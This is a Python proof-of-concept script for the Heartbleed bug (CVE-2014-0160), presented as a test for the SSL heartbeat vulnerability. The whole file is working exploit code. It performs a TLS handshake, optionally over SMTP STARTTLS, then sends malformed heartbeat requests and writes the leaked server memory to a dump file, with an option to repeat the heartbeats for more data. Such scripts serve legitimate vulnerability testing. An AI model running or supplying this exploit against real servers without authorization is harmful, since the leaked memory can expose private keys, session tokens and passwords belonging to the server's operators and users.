#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) from __future__ import print_function from builtins import str from builtins import range import sys import struct import socket import time import select import re from optparse import OptionParser import smtplib options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)') options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)') options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s, dumpf, quiet): dump = open(dumpf,'a') dump.write(s) dump.close() if quiet: return for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print() def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received from '+host+', server likely not vulnerable') return False if typ == 24: if not quiet: print('Received heartbeat response:') hexdump(pay, dumpf, quiet) if len(pay) > 3: print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!') else: print('Server '+host+' processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: if not quiet: print('Received alert:') hexdump(pay, dumpf, quiet) print('Server '+ host +' returned error, likely not vulnerable') return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not quiet: print('Connecting...') sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): if not quiet: print('Sending Client Hello...') sys.stdout.flush() s.send(hello) if not quiet: print('Waiting for Server Hello...') sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: return ver def check(host, port, dumpf, quiet, starttls): response = False if starttls: try: s = smtplib.SMTP(host=host,port=port) s.ehlo() s.starttls() except smtplib.SMTPException: print('STARTTLS not supported...') s.quit() return False print('STARTTLS supported...') s.quit() s = connect(host, port, quiet) s.settimeout(1) try: re = s.recv(1024) s.send('ehlo starttlstest\r\n') re = s.recv(1024) s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: print('Timeout issues, going ahead anyway, but it is probably broken ...') tls(s,quiet) else: s = connect(host, port, quiet) tls(s,quiet) version = parseresp(s) if version == 0: if not quiet: print("Got an error while parsing the response, bailing ...") return False else: version = version - 0x0300 if not quiet: print("Server TLS version was 1.%d\n" % version) if not quiet: print('Sending heartbeat request...') sys.stdout.flush() if (version == 1): s.send(hbv10) response = hit_hb(s,dumpf, host, quiet) if (version == 2): s.send(hbv11) response = hit_hb(s,dumpf, host, quiet) if (version == 3): s.send(hbv12) response = hit_hb(s,dumpf, host, quiet) s.close() return response def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print('Scanning ' + args[0] + ' on port ' + str(opts.port)) for i in range(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': main()